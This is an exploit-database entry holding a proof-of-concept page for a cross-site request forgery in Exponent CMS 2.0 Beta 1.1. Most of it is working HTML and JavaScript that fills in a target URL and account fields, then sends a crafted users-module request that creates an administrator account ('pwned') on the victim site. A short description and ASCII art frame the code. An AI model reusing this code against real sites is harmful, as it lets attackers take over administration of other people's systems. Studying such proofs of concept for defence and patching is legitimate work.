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Exponent CMS 2.0 Beta 1.1 - Cross-Site Request Forgery (Add Administrator Account)

🗓️ 02 May 2011 00:00:00Reported by outlaw.dllType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 22 Views

Exponent CMS 2.0 Beta 1.1 CSRF Add Administrator Account PoC by outlaw.dll. Allows an attacker to add an admin account via CSRF without requiring the admin to be logged in. Tested on Linux Ubuntu 11.04 with Google Chrome but can work on any OS

Code
<!--
 
[+] Title: Exponent CMS 2.0 Beta 1.1 CSRF Add Administrator Account PoC
[+] Version: 2.0 Beta 1.1 (not tested with older versions)
[+] Note: No need administrator to be logged (:
[+] Tested on: Linux Ubuntu 11.04 (Google Chrome) but will work in any other OS
[+] Download URL: https://github.com/downloads/exponentcms/exponent-cms/exponent-2.0.0-beta1.1.zip
[+] Date: 02.05.2011
[+] Author: outlaw.dll

GreetZ to all bitcheZ in the world! =P
W_o.O_W
 
-->
<html>
    <head>
        <title>Exponent CMS 2.0 Beta 1.1 CSRF Add Administrator Account PoC by outlaw.dll</title>
        <style type="text/css">
        body, table, tr, td 
        {
            background-color: #00489C;
            font-family: Verdana;
            font-size: 16px;
            color: #FFFFFF;
        }
        </style>
    </head>
    <body>
        <pre>
              .-""""-.       .-""""-.             
             /        \     /        \
            /_        _\   /_        _\
           // \      / \\ // \      / \\
           |\__\    /__/| |\__\    /__/|
            \    ||    /   \    ||    /
             \        /     \        /
              \  __  /       \  __  /
      .-""""-. '.__.'.-""""-. '.__.'.-""""-.
     /        \ |  |/        \ |  |/        \
    /_        _\|  /_        _\|  /_        _\
   // \      / \\ // \      / \\ // \      / \\
   |\__\    /__/| |\__\    /__/| |\__\    /__/|
    \    ||    /   \    ||    /   \    ||    /
     \        /     \        /     \        /
      \  __  /       \  __  /       \  __  /
       '.__.'         '.__.'         '.__.'
        |  |           |  |           |  |
        |  |           |  |           |  |  
        </pre>
        Exponent CMS 2.0 Beta 1.1 CSRF Add Administrator Account PoC by outlaw.dll
        <br /><br />
        <form name="exploit">
            <table border="0">
                <tr>
                    <td width="150" align="right">Target URL:</td>
                    <td width="400"><input type="text" name="targetURL" value="http://localhost/exponent/index.php" size="30" /></td>
                </tr>
                <tr>
                    <td width="150" align="right">Username:</td>
                    <td width="400"><input type="text" name="username" value="pwned" size="30" /></td>
                </tr>
                <tr>
                    <td width="150" align="right">Password:</td>
                    <td width="400"><input type="text" name="password" value="1337" size="30" /></td>
                </tr>
                <tr>
                    <td width="150" align="right">E-M@il:</td>
                    <td width="400"><input type="text" name="email" value="[email protected]" size="30" /></td>
                </tr>
                <tr>
                    <td width="150" align="right">First Name:</td>
                    <td width="400"><input type="text" name="firstname" value="Greatest" size="30" /></td>
                </tr>
                <tr>
                    <td width="150" align="right">Last Name:</td>
                    <td width="400"><input type="text" name="lastname" value="Ever" size="30" /></td>
                </tr>
                <tr>
                    <td width="150" align="right">Admin Permissions:</td>
                    <td width="400"><input type="checkbox" name="isAdmin" checked="yes" value="1" /></td>
                </tr>
                <tr>
                    <td width="150"></td>
                    <td width="400"><input type="button" value="Pwn It!" onClick="runExploit()" /></td>
                </tr>
            </table>
        </form>
        <script type="text/javascript">
            function runExploit()
            {
                var targetURL = exploit.targetURL.value;
                var username = exploit.username.value;
                var password = exploit.password.value;
                var email = exploit.email.value;
                var firstname = exploit.firstname.value;
                var lastname = exploit.lastname.value;
                var isAdmin = exploit.isAdmin.value;
                
                if (targetURL != "" && username != "" && password != "" && email != "" && firstname != "" && lastname != "" && isAdmin != "")
                {
                    var exploitURL = targetURL + "?module=users&action=update&username="+username+"&pass1="+password+"&pass2="+password+"&email="+email+"&firstname="+firstname+"&lastname="+lastname+"&is_acting_admin="+isAdmin;
                    location.replace(exploitURL);
                }
                else
                {
                    alert("Error! Empty form fields.");
                }
            }
        </script>
    </body>
</html>

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